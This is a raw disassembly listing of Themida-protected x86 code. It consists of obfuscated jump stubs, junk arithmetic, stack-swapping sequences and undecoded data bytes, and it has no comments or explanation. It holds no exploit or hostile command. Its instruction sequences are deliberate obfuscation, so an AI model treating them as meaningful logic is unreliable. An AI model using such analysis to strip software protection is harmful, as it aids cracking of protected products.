loc_562B96:				; CODE XREF: Themida_:0056C465j
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_55F7EC
; ---------------------------------------------------------------------------
		dd 83240C8Bh, 0C78004C4h, 84E7806Eh, 0E90FF780h, 0A424h
		dd 2904C483h, 0C875DE9h, 24248B24h, 68243489h, 7F15h, 0B8240489h
		dd 4, 0CDBAE9h,	24048F00h, 6523E9h, 0E9535A00h,	4FBEh
; ---------------------------------------------------------------------------


loc_562BE4:				; CODE XREF: Themida_:0056DE50j
		add	ecx, 650C7468h
		push	edi
		mov	edi, 0ECF53F9h
		shl	edi, 6
		shl	edi, 8
		or	edi, 7AAA016Ah
		xor	edi, 0A2EE23B9h
		sub	ecx, 76765DF0h
		add	ecx, edi
		jmp	loc_56BBD0
; ---------------------------------------------------------------------------
		db 8
		dd 0B4505AF5h, 0AD75E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562C1A:				; CODE XREF: Themida_:0055DA1Aj
		push	edi
		mov	edi, 4
		sub	ebx, 69A13EFDh
		jmp	loc_56C45D
; ---------------------------------------------------------------------------


loc_562C2B:				; CODE XREF: Themida_:00568A31j
		push	esi
		mov	esi, 0C7A33DBh
		mov	ebx, esi
		pop	esi
		add	ebx, 9F11A58h
		jmp	loc_569FA4
; ---------------------------------------------------------------------------
aHszS		db 'hSz',7,' ',0
		db 0
byte_562C49	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C1ECo
aSk		db '$k',0
		align 2
		dw 5152h
		dd 240C8B5Ah, 81E38953h, 4C3h, 0CE2CE900h, 0E95D0000h
		dd 3C0Eh, 0A02FE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562C72:				; CODE XREF: Themida_:00564AEFj
		xor	cl, 2Fh
		add	cl, 0Eh
		push	ebx
		push	749Bh
		mov	[esp], ecx
		jmp	loc_570283
; ---------------------------------------------------------------------------
aPhf		db 'Phf',9,0
		align 4
aS@		db '@',0
		dd 6CE95E00h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562C97:				; CODE XREF: Themida_:00562632j
		mov	ebp, 23A933DDh
		sub	ebp, 4C1963DBh
		push	ebx
		mov	ebx, 0FDF4C9F2h
		xor	ebp, ebx
		jmp	loc_56FE3B
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC81243Ch, 4, 5228E9h, 5A545200h, 4C281h, 0EA830000h
		dd 24148704h, 241C895Ch, 44C1BF57h, 41BB1A87h, 1E578BBh
		dd 0DD015FFBh, 51241C8Bh, 0FFAD42E9h, 7EDC1FFh,	672EF581h
		dd 0ED814961h, 0F9495D8Ah, 295DEF89h, 505E5FFDh, 405E089h
		dd 83000000h, 48704E8h,	0C895C24h, 0C7BF5724h, 0B962C918h
		dd 62C918C5h, 8452E9h, 1BA46800h, 3C890000h, 125BBF24h
		dd 0FB0928C1h, 0CE88E9h, 7E6C100h, 347BE681h, 0CE810DE4h
		dd 0D7C1992h, 0FFE7E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562D49:				; CODE XREF: Themida_:00562441j
		pop	ebp
		jmp	loc_568F49
; ---------------------------------------------------------------------------
		db 57h
		dd 0C781E789h, 4, 8704C783h, 885C243Ch,	0CA885AF1h, 0FFB63BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_562D69:				; CODE XREF: Themida_:00565906j
		push	esi
		push	ebp
		mov	ebp, 2E61885h
		push	15A3h
		mov	[esp], eax
		mov	eax, 3CC97DDAh
		shl	eax, 8
		or	eax, 680948B3h
		shr	eax, 6
		dec	eax
		shl	eax, 8
		sub	eax, 2A894383h
		or	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		dec	ebp
		shl	ebp, 2
		add	ebp, 522E32AEh
		jmp	loc_5664DA
; ---------------------------------------------------------------------------


loc_562DAB:				; CODE XREF: Themida_:0056EEFDj
		mov	ecx, 358E1036h
		sub	ecx, 0FFFFFFFFh
		push	esi
		mov	esi, 3C815732h
		neg	esi
		and	esi, 7F160117h
		or	esi, 5D6733DBh
		sub	esi, 0FFFFFFFFh
		xor	esi, 9506DC2Dh
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 5F8605CBh
		shl	edx, 3
		push	esi
		mov	esi, 370F47F3h
		shr	esi, 1
		push	ecx
		mov	ecx, 0
		sub	ecx, esi
		xchg	ecx, esi
		pop	ecx
		and	esi, 24DA3488h
		sub	esi, 0DAB7C5D1h
		jmp	loc_56FD7C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 4EC8104h, 89000000h,	58BE2434h, 81544E01h, 0D71B49F6h
		dd 1E8F6868h, 0C890000h, 56D3B924h, 0C8292507h,	0FCBF5759h
		dd 81545346h, 3D2F5BC7h, 965BE967h, 48F0000h, 62E95C24h
		dd 80000045h, 0EB8024EBh, 24048BCEh, 6604C483h,	0E94D5068h
		dd 71EDh, 6824048Fh, 3323h, 54243C89h, 4C7815Fh, 0E9000000h
		dd 0FFFFB8F0h
; ---------------------------------------------------------------------------


loc_562E74:				; CODE XREF: Themida_:00568464j
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_55F297
; ---------------------------------------------------------------------------


loc_562E7F:				; CODE XREF: Themida_:0056C7FCj
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_562B51
; ---------------------------------------------------------------------------
		dw 34FFh
aSs_0		db '$%',0
		align 2
		dw 0BB53h
		dd 30B03BC7h, 0C15BD901h, 51E908E1h
		db 0BCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_562EA3:				; CODE XREF: Themida_:0056F0BEj
		not	dl
		jmp	loc_569998
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 39892342h, 15EF201h,	0F3BD55CAh, 0E94B1355h,	910Dh
		dd 50256855h, 24890000h, 1E55E924h, 48B0000h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5656BE
; ---------------------------------------------------------------------------


loc_562EDF:				; CODE XREF: Themida_:0056367Fj
		sub	esp, 4
		jmp	loc_567463
; ---------------------------------------------------------------------------
		db 5Eh
		dd 0F99AE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562EEE:				; CODE XREF: Themida_:005621A0j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_569755
; ---------------------------------------------------------------------------


loc_562EFF:				; CODE XREF: Themida_:0056DF35j
		mov	[esp], ebp
		jmp	loc_564ED1
; ---------------------------------------------------------------------------
a_wUu		db '_Wu',1Bh,0
		dw 814Fh
		dd 900101EFh, 0DFF78128h, 19EC02Fh, 0EA815FFAh,	41A94065h
		dd 3DD5E9h
		db 0
; ---------------------------------------------------------------------------


loc_562F29:				; CODE XREF: Themida_:00567848j
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		jmp	loc_56757E
; ---------------------------------------------------------------------------


loc_562F3F:				; CODE XREF: Themida_:00562603j
		mov	esi, 9634B08h
		add	esi, 60527D76h
		xor	esi, 46C93B89h
		xor	esi, 3AF8AD62h
		add	ebp, esi
		pop	esi
		jmp	loc_55F0E8
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 951AE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562F66:				; CODE XREF: Themida_:00563819j
		push	esp
		jmp	loc_5682DA
; ---------------------------------------------------------------------------
		dd 0EE9E901h, 0BD00009Dh, 462A2223h, 8122E9h
		db 0
; ---------------------------------------------------------------------------


loc_562F7D:				; CODE XREF: Themida_:005685C7j
		neg	ebx
		jmp	loc_567280
; ---------------------------------------------------------------------------
aBLdn2bAVS2a	db '',7,1Bh,'',0Ah
		db 'Ëd2AV',8,'2A',0
		align 2
		dw 835Bh
		dd 2C8704EDh, 24248B24h, 53240489h, 4BBh, 0BE565300h, 3B6F52A4h
		dd 4247429h, 24048B5Eh,	504C483h, 3B6F52A4h, 0ADCBE9h
		dd 2434FF00h, 0C3E95558h, 59000003h, 92AAE9h
		db 0
; ---------------------------------------------------------------------------


loc_562FD9:				; CODE XREF: Themida_:00567569j
		mov	[esp], edx
		mov	edx, 44494AEFh
		push	esi
		mov	esi, 42F44B44h
		and	edx, esi
		pop	esi
		add	edx, 4F142870h
		add	edx, 70AB8D50h
		add	edi, edx
		pop	edx
		push	1E78h
		mov	[esp], ecx
		mov	ecx, 4
		add	edi, 5D520D32h
		push	esi
		push	ebp
		mov	ebp, 31D8005Bh
		mov	esi, ebp
		pop	ebp
		add	edi, esi
		pop	esi
		add	edi, ecx
		push	ecx
		jmp	loc_56A98D
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 3E0BD55h, 24BA797Bh,	18684FCh, 0D0015DEAh, 5A2434FFh
		dd 81E18951h, 4C1h, 4C18100h, 87000000h, 53E9240Ch
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56304F:				; CODE XREF: Themida_:00567B3Fj
		mov	edx, ebx
		pop	ebx
		jmp	loc_561F05
; ---------------------------------------------------------------------------
		db 89h
		dd 0EC832414h, 5F1DE904h, 0E9530000h, 0AB22h, 5658C601h
		dd 8F3CE9h, 8FE58100h, 0F7649D2Dh, 3E5C1D5h, 0FFFC68E9h
		dd 0B87C05FFh, 0C329FB31h, 0B2E95658h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56308F:				; CODE XREF: Themida_:0056158Dj
		pop	ebx
		push	1A99h
		jmp	loc_5620FC
; ---------------------------------------------------------------------------
aFi4SG		db 'f4$|G',0
		dw 8100h
		dd 0A97DABE1h, 0C6F0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5630AE:				; CODE XREF: Themida_:005613D9j
		mov	ch, 78h
		jmp	loc_5663F7
; ---------------------------------------------------------------------------


loc_5630B5:				; CODE XREF: Themida_:0056EA24j
		mov	[esp], edx
		jmp	loc_55C441
; ---------------------------------------------------------------------------


loc_5630BD:				; CODE XREF: Themida_:005692EBj
		sub	[esp], ebp
		mov	ebp, [esp]
		jmp	loc_562868
; ---------------------------------------------------------------------------
		dd 8904EC83h, 62E9242Ch, 59FFFFADh, 4C581h, 16E90000h
		dd 89FFFF99h, 5434E9E1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5630E6:				; CODE XREF: Themida_:00564066j
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		xor	[esp], ax
		pushf
		jmp	loc_55C323
; ---------------------------------------------------------------------------
		db 0E9h, 29h, 92h
		dd 0F480FFFFh, 58E108D5h, 0C1FED1F6h, 52F0E180h, 7DE7E9h
		dd 4C38100h, 56000000h,	4BEh, 1BEB8100h, 108E745h, 1BC381F3h
		dd 5E08E745h, 5C241C87h, 456AEA81h, 2BE94B0Eh, 81FFFFCDh
		dd 4C3h, 4C38100h, 53000000h, 42474FFh,	83241C8Bh, 48F04C4h
		dd 0B9E95C24h, 81FFFFE1h, 27DE5FC3h, 0D6EF81DEh, 15BDD72h
		dd 0D6C781DFh, 0E95BDD72h, 0FFFFCD07h, 2911BF57h, 0F7812048h
		dd 72652560h, 0FFA92CE9h, 240C89FFh, 81E18951h,	4C1h, 0C35FE900h
		dd 14890000h, 0B43DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56319A:				; CODE XREF: Themida_:0056777Bj
		push	dword ptr [esp]
		jmp	loc_55D070
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0A5E90000h, 81000090h, 42404h, 2C8B0000h, 4C48324h
		dd 4C581h, 0C2E90000h, 2900002Ah, 81E95AD1h, 810000E0h
		dd 983EC1EAh, 81FA0152h, 983EC1C2h, 2434FF52h, 0ECE6E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5631E6:				; CODE XREF: Themida_:00569794j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_56A8B4
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 2BB97F46h, 0D08B951h, 81497C7Eh,	351B87C1h
		dd 68E98173h, 81309112h, 99999CE9h, 59CB01A3h, 8F2DE943h
		dd 0F3800000h, 0B8FEE997h, 0DA010000h, 4C2835Bh, 8B241487h
		dd 0C1812424h, 4, 3ADBE9h, 4EC8100h, 89000000h,	3481243Ch
		dd 65028D24h, 241C8B1Ah, 0E904C483h, 2BE6h
; ---------------------------------------------------------------------------


loc_563258:				; CODE XREF: Themida_:005666CEj
		add	esp, 4
		push	ecx
		jmp	loc_55E2EF
; ---------------------------------------------------------------------------
		dd 4EC81h, 1C890000h, 2474FF24h, 48F5B04h, 9FA9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56327A:				; CODE XREF: Themida_:0056C377j
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_55CDBB
; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 0E9h
		dd 0FFFF9FBFh, 24148751h, 0C44BE9h, 81575600h, 51E92404h
		dd 0F1E94E23h
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5632AB:				; CODE XREF: Themida_:00566082j
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	edx
		push	edi
		mov	edi, 0DDE0046h
		jmp	loc_561EBD
; ---------------------------------------------------------------------------
		db 1
		dd 5CE95FF8h, 51FFFF90h, 21B15150h, 0FFA990E9h,	0C2685CFFh
		dd 0E9000055h, 4F64h
; ---------------------------------------------------------------------------


loc_5632DC:				; CODE XREF: Themida_:0055E91Dj
		sub	esi, 1781097Ah
		add	esi, edi
		add	esi, 1781097Ah
		pop	edi
		mov	[edi+20h], esi
		mov	esi, [esp]
		jmp	loc_561FEB
; ---------------------------------------------------------------------------


loc_5632F6:				; CODE XREF: Themida_:0056606Cj
		push	eax
		mov	eax, 706B60B7h
		sub	ecx, eax
		jmp	loc_5674AA
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE56243Ch, 2E0D3FE9h, 3CE1CE81h, 0F68135F3h, 63650874h
		dd 0F707E6C1h, 85C681D6h, 894D1BCEh, 9575E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56332A:				; CODE XREF: Themida_:0055CAFCj
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ecx
		jmp	loc_567679
; ---------------------------------------------------------------------------


loc_563339:				; CODE XREF: Themida_:0055D17Dj
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_562514
; ---------------------------------------------------------------------------
		dd 0E95EF501h, 0FFFFAF9Eh, 8008E3C0h, 0EB8053F3h, 0CA91E91Dh
		dd 0E389FFFFh, 9B9CE9h,	0C4EA8100h, 0E909F109h,	9DEEh
		dd 87B9BB9h, 1BC4E958h,	895B0000h, 0EB315FFDh, 81242C8Bh
		dd 4C4h, 0A859E900h, 0E589FFFFh, 537FE9h, 240C8B00h, 5504C483h
		dd 1E7D7CBDh, 0A1A4E91Dh, 0E1890000h, 4C181h, 0B1E90000h
		dd 0BD00009Fh, 433B508Dh, 81DDF74Dh, 31322EDh, 68F5816Ch
		dd 16A55FFh, 9CE8E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5633D6:				; CODE XREF: Themida_:00565210j
		push	edx
		push	esi
		mov	esi, 5B7A0422h
		mov	edx, 0CCB4C37h
		xor	edx, esi
		jmp	loc_5684A9
; ---------------------------------------------------------------------------
		db 0BAh, 31h, 1Ch
aSbIJQs		db 'sʈ){Q&',0
		align 2


loc_5633FA:				; CODE XREF: Themida_:0056D979j
		sub	dl, 0BDh
		xor	dl, 41h
		mov	bh, dl
		pop	edx
		sub	esp, 4
		jmp	loc_56084A
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 29000000h, 0F0E958C3h
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56341B:				; CODE XREF: Themida_:005602E3j
		mov	[esp], edx
		jmp	loc_55D56C
; ---------------------------------------------------------------------------


loc_563423:				; CODE XREF: Themida_:0056BF38j
		sub	ecx, edx
		jmp	loc_562105
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 24248B24h, 0BB241C89h, 35C11D69h, 3251E9h, 4BD00h, 0EA010000h
		dd 2414875Dh, 7F4BE9h, 57DFF700h, 5F241CF7h, 9285EF81h
		dd 0FE893CA4h, 72F6815Fh, 51637928h, 973C5EB9h,	8BCE0923h
		dd 0C483240Ch, 30B85004h, 0E93D9E00h, 26E0h, 4EC835Eh
		dd 54241C89h, 5B2434FFh, 9CE95453h, 83000050h, 3C8704C7h
		dd 25E95C24h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56349B:				; CODE XREF: Themida_:00568F3Ej
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	3E45h
		mov	[esp], eax
		jmp	loc_56A279
; ---------------------------------------------------------------------------
		dd 0D52004BEh, 0BD55460Fh, 3B0357F0h, 38E3E581h, 0ED81532Fh
		dd 0B1E0296h, 6DD3B850h, 2540444Bh, 2A3E54AFh, 0C1117625h
		dd 53310544h, 0B4055808h, 81DFE0E0h, 0E01007C5h, 81C50120h
		dd 0E01007EDh, 3A85E920h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5634FE:				; CODE XREF: Themida_:0056DCF4j
		xor	bl, 0B3h
		or	bl, 0A9h
		sub	bl, 0A8h
		shl	bl, 2
		shr	bl, 8
		shr	bl, 1
		push	edx
		jmp	loc_560F27
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C2h
		dd 30AAE6EEh, 505AD031h, 67242C81h, 5E7BD938h, 3867C681h
		dd 29587BD9h, 8B042474h, 0C4832434h, 24040104h,	0ED240481h
		dd 0E947B373h, 0FFFF8DDBh, 555DE801h, 0DD16A2BDh, 0C226E966h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563556:				; CODE XREF: Themida_:0056566Dj
		push	eax
		mov	eax, 0
		jmp	loc_56725E
; ---------------------------------------------------------------------------


loc_563561:				; CODE XREF: Themida_:00561297j
		pop	esi
		jmp	loc_561E34
; ---------------------------------------------------------------------------
		db 33h
		dd 815C243Ch, 4C2h, 7110E900h, 7A2C0000h, 7A04F000h, 0B776E9h
		dd 0E9C18900h, 0CFA8h
; ---------------------------------------------------------------------------


loc_563588:				; CODE XREF: Themida_:0055FFA9j
		mov	ch, 0FFh
		sub	dh, ch
		pop	cx
		push	ecx
		mov	ch, 0FFh
		jmp	loc_569BA1
; ---------------------------------------------------------------------------


loc_563596:				; CODE XREF: Themida_:0056BED9j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_565BB4
; ---------------------------------------------------------------------------
		db 58h
		dd 6356C181h, 815E6BB9h, 532DADC2h, 0CFEA8133h,	140A70Dh
		dd 0CFC281CAh, 8140A70Dh, 532DADEAh, 2434FF33h,	4C48159h
		dd 0E9000000h, 0FFFFA158h, 2474FF51h, 48F5904h,	81E95C24h
		dd 81000016h, 841E94EBh, 0D8B85045h, 0E95E590Ah, 0FFFFA2DBh
		dd 2E9C159h, 0C181D1F7h, 544E0165h, 0FFDC35E9h,	0B7B405FFh
		dd 0C101BA90h, 81D10158h, 0EF5EF9E9h, 4EACE96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56362A:				; CODE XREF: Themida_:0055D127j
		push	edx
		mov	edx, 347A143Dh
		sub	edx, 30A52EDFh
		shr	edx, 6
		add	edx, 54825B4Ch
		xor	edx, 40976F33h
		xor	edx, 1259CDD2h
		mov	ebx, edx
		pop	edx
		and	ebx, 5D8E4E48h
		shr	ebx, 2
		not	ebx
		add	ebx, 0D0521607h
		push	ecx
		mov	ecx, 20AD3060h
		sub	ecx, 0EB9A2C70h
		add	edi, ecx
		pop	ecx
		add	edi, ebx
		sub	edi, 351303F0h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_562EDF
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA810000h, 4, 0E9241487h, 9518h
; ---------------------------------------------------------------------------


loc_563698:				; CODE XREF: Themida_:00561865j
		or	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		jmp	loc_56B043
; ---------------------------------------------------------------------------


loc_5636A6:				; CODE XREF: Themida_:0056F8E4j
		sub	ebp, 30A606C7h
		add	ebp, 22C57539h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 79F66E18h
		xor	ebp, ecx
		jmp	loc_56820E
; ---------------------------------------------------------------------------
		dd 5A1DBB53h, 0DE2917B9h, 6EEC15Bh, 32D1B850h, 0C68146ABh
		dd 283D1074h, 0EE81C601h, 283D1074h, 4EEC158h, 6A65EE81h
		dd 0F20114B3h, 0FFDAADE9h, 2474FFFFh, 4CA8E904h, 0B9510000h
		dd 776E4555h, 0C181D9F7h, 4342284Eh, 0BFE2E949h, 0BD550000h
		dd 2EB0041Ch, 1DE4C581h, 0D5F73EDCh, 0FDF5814Dh, 31D28486h
		dd 0C1895DE8h, 242C8B58h, 8104C483h, 795380C1h,	81F9015Bh
		dd 795380E9h, 0B11CE95Bh, 0E9530000h, 0FFFFC165h, 4EC81h
		dd 4E90000h, 31FFFFA4h,	0E9D3F7DEh, 0FFFFA176h,	0E9240489h
		dd 0E10h, 9368E589h, 8900004Bh,	72E92404h, 8300006Fh, 0D1F701E9h
		dd 7A51C981h, 946807E6h, 0E9000025h, 0FFFF9059h
; ---------------------------------------------------------------------------


loc_56378C:				; CODE XREF: Themida_:0055E359j
		add	esi, ebp
		pop	ebp
		xor	esi, 44C86C19h
		sub	esi, 68E20EC7h
		sub	esi, 0F0CD110Ah
		add	edx, 167533AFh
		jmp	loc_5709CC
; ---------------------------------------------------------------------------


loc_5637AC:				; CODE XREF: Themida_:0056D83Fj
		mov	[esp], ecx
		jmp	loc_55CE4A
; ---------------------------------------------------------------------------
		dd 4BB0F66h, 64E99C24h,	0BBFFFF8Bh, 3E1B3A9Dh, 4244481h
		dd 0F587F73h, 4245C01h,	4246C81h, 0F587F73h, 0FFA709E9h
		dd 55D101FFh, 976154BDh, 5DE92917h, 0CD99E955h,	2489FFFFh
		dd 4BB5324h, 1000000h, 5B04245Ch, 582434FFh, 7017E9h, 3A586800h
		dd 58E90000h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56380F:				; CODE XREF: Themida_:00569192j
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	ebp
		jmp	loc_562F66
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 6AA81C5Dh, 0F281DAF7h, 5612284Bh, 3091EE81h,	0D60165C1h
		dd 3091C681h, 295A65C1h, 24348BF7h, 5A04C483h, 8704C783h
		dd 248B243Ch, 0E313E924h, 405FFFFh, 83000000h, 48704C0h
		dd 0E9815C24h, 1E1F61F1h, 0C181C101h, 1E1F61F1h, 1E28E958h
		dd 48F0000h, 1BE5E924h,	0E9530000h, 89CAh
; ---------------------------------------------------------------------------


loc_563880:				; CODE XREF: Themida_:00563F57j
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_568A36
; ---------------------------------------------------------------------------


loc_56388E:				; CODE XREF: Themida_:0057020Ej
		pop	ebp
		add	eax, ecx
		pop	ecx
		add	eax, ecx
		sub	eax, 7C09787Ch
		pop	ecx
		sub	esp, 4
		jmp	loc_56468C
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 0C6F33F98h, 0FFC334E9h, 0E9535AFFh, 1376h
; ---------------------------------------------------------------------------


loc_5638B4:				; CODE XREF: Themida_:005639FCj
		shl	edi, 8
		push	ebx
		mov	ebx, 91E16A2h
		xor	ebx, 0DD1D5B57h
		push	ebp
		mov	ebp, 45157E75h
		not	ebp
		add	ebp, 0ADB69304h
		jmp	loc_55C998
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48124h, 52000000h,	0D388EA88h, 2434FF5Ah, 4C48359h
		dd 0DA2FE9h, 4BE00h, 0F2010000h, 5E2434FFh, 4C481h, 14870000h
		dd 34FF5C24h, 2434FF24h, 8124148Bh, 4C4h, 0D2E95500h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56391B:				; CODE XREF: Themida_:005617C1j
		pop	esp
		add	bl, al
		push	eax
		mov	al, 34h
		jmp	loc_56C10B
; ---------------------------------------------------------------------------


loc_563926:				; CODE XREF: Themida_:0056EA55j
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_563DF7
; ---------------------------------------------------------------------------
		dd 3DF28058h, 0E9535266h, 0FFFFB014h, 4B8h, 0E9C12900h
		dd 6693h, 0D3E0F2BDh, 5DEE0133h, 348BF289h, 4C48324h, 406CC281h
		dd 0EA811DFDh, 2D1842CEh, 4091E9h, 5FFD3100h, 26B8C381h
		dd 0CDE97D5Fh, 21FFFFE6h, 5287E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563982:				; CODE XREF: Themida_:00560451j
		mov	ebp, 262F1A59h
		and	ebp, 6CCC0A2Ch
		add	ebp, 94CAA8CAh
		xor	eax, ebp
		pop	ebp
		push	edi
		mov	edi, eax
		mov	ecx, edi
		pop	edi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ecx, 0FFFFFFFFh
		shr	ecx, 3
		shr	ecx, 8
		jmp	loc_565DEB
; ---------------------------------------------------------------------------
		db 80h,	0E4h, 5
		dd 0D4F6CCFEh, 0E9FFC480h, 0FFFFCD1Ch, 34FFD589h, 0C4815A24h
		dd 4, 0E95DE801h, 8326h
; ---------------------------------------------------------------------------


loc_5639D4:				; CODE XREF: Themida_:0056B5AFj
		sub	esp, 4
		mov	[esp], esi
		push	33CFh
		mov	[esp], edi
		mov	edi, 12976B16h
		push	ecx
		mov	ecx, 521C7EFDh
		and	edi, ecx
		pop	ecx
		xor	edi, 5FAF794Bh
		shr	edi, 7
		jmp	loc_5638B4
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 12Eh
; ---------------------------------------------------------------------------


loc_563A0C:				; CODE XREF: Themida_:0055DFDBj
		pop	dword ptr [edx+38h]
		add	dword ptr [edx+38h], 7BEF797Ah


loc_563A16:				; CODE XREF: Themida_:0055F3CEj
		sub	esp, 4
		jmp	loc_571392
; ---------------------------------------------------------------------------
		dw 0F800h
aFSU		db ',f[]u',0
		dd 88F5E900h, 0C89FFFFh, 0A6685024h, 585FB508h,	1A05D8F7h
		dd 89CDF755h, 56E958C1h, 89FFFFDDh, 9750E9E7h, 0EB68FFFFh
		dd 89000032h, 0AC682404h, 581EDC37h, 53CDBA52h,	0E2816292h
		dd 7E445B52h, 0E468C281h, 0D029BCDBh, 8324148Bh, 815004C4h
		dd 71F02404h, 815A1045h, 4571F0EAh, 24048B10h, 0DBC0E952h
		dd 248BFFFFh, 0A59EE924h, 34FFFFFFh, 0F9DEE924h, 0E95BFFFFh
		dd 661Ah
; ---------------------------------------------------------------------------


loc_563AA4:				; CODE XREF: Themida_:0056ECAAj
		sub	edx, 922FA12Fh
		xor	esi, edx
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_56C870
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 23h
		dd 0E980E81Dh, 0FFFFBE11h, 0C003E9C0h, 12E904E9h, 29FFFFCBh
		dd 0BA525EF1h, 12525F87h, 7F88E9h, 24048F00h, 2924248Bh
		dd 2AC381C3h, 0E91D9873h, 0FFFFD5F9h, 0D486C4FEh, 0D486D2F6h
		dd 0FE4EC480h, 0EDE9C4h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563B02:				; CODE XREF: Themida_:005643B2j
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	eax
		jmp	loc_56582A
; ---------------------------------------------------------------------------
a_iSu		db '_[鞳',0
		align 4


loc_563B18:				; CODE XREF: Themida_:00560B31j
		sub	edi, ebp
		jmp	loc_56464B
; ---------------------------------------------------------------------------
byte_563B1F	db 0FFh			; DATA XREF: Themida_:0055C0ACo
		dd 53582434h, 2434FF54h, 5F54575Bh, 8677E9h
		db 0
byte_563B31	db 0F6h, 1Ch, 24h	; DATA XREF: Themida_:0055C224o
		dd 87E9E99Ch, 4401FFFFh, 0B0E90424h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B43:				; CODE XREF: Themida_:0055DE6Dj
		mov	edx, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp


loc_563B4D:				; CODE XREF: Themida_:0056AC30j
		push	23D5h
		mov	[esp], ecx
		jmp	loc_567F4C
; ---------------------------------------------------------------------------
		dw 0DA68h
		dd 5F77F424h, 5A18CF81h, 0EF817890h, 504B55AFh,	815FFB89h
		dd 144A57C3h, 3EBC152h,	0EB81D3F7h, 0EFC8518Bh,	525BDA01h
		dd 42474FFh, 0FFA47DE9h, 0E95854FFh, 1BAEh, 7341C181h
		dd 0D90124E5h, 7341E981h, 0A0E924E5h, 0BB0000A7h, 4593690Dh
		dd 5E9DD29h, 810000B8h,	4C6h, 24348700h, 6824248Bh, 5C3Ch
		dd 89242C89h, 0BE5651E5h, 4, 0E95EF189h, 0AC4Ch, 0FF8746E9h
		db 0FFh
byte_563BDD	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055C0E8o
		dd 5F545724h, 21A5BB53h, 68E921D8h, 80FFFFF5h, 0E130BCF4h
		dd 0ECF18058h, 2859CC88h, 18E0E9E1h
		db 2 dup(0)
